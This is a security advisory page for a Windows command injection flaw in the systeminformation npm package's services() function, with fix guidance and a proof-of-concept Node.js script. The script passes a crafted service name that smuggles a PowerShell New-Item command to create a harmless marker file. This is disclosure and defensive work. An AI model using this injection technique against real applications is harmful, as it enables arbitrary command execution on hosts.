Command Injection Affecting systeminformation package, versions <5.33.16


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.14% (4th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-SYSTEMINFORMATION-21771271
  • published28 Oct 2026
  • disclosed26 Oct 2026
  • credititsFM-Codes

Introduced: 26 Oct 2026

NewCVE-2026-116576  (opens in a new tab)
CWE-78  (opens in a new tab)

How to fix?

Upgrade systeminformation to version 5.33.16 or higher.

Overview

systeminformation is a simple system and OS information library.

Affected versions of this package are vulnerable to Command Injection via the services() function on Windows, due to insufficient sanitization of shell strings in sanitizeShellString within lib/util.js. An attacker who controls the service name argument passed to services() can inject arbitrary PowerShell commands that are executed on the host system.

PoC

Run this on Windows in a disposable directory with Node.js and PowerShell available:

mkdir si-command-injection-repro
cd si-command-injection-repro
npm init -y
npm install systeminformation@5.33.15

Save the following as poc.cjs, then run node poc.cjs:

'use strict';

const fs = require('node:fs'); const path = require('node:path'); const si = require('systeminformation');

(async () => { const markerName = si-injection-${process.pid}.txt; const markerPath = path.join(process.cwd(), markerName); fs.rmSync(markerPath, { force: true });

try { await si.services(not-a-service” (New-Item -Name ${markerName} -ItemType File -Force) “); console.log(markerCreated=${fs.existsSync(markerPath)}); } finally { fs.rmSync(markerPath, { force: true }); } })().catch((error) => { console.error(error); process.exitCode = 1; });

Expected output:

markerCreated=true

The Windows run returned an array and created the marker (markerCreated: true). A benign input left the marker absent. The script removes the marker afterward. I did not identify an application network route that forwards remote input to services(), so remote exploitability depends on the consuming application.

Note: The PoC targets systeminformation 5.33.15 on Windows with Node.js and PowerShell available, using a disposable local directory.

CVSS Base Scores

version 4.0
version 3.1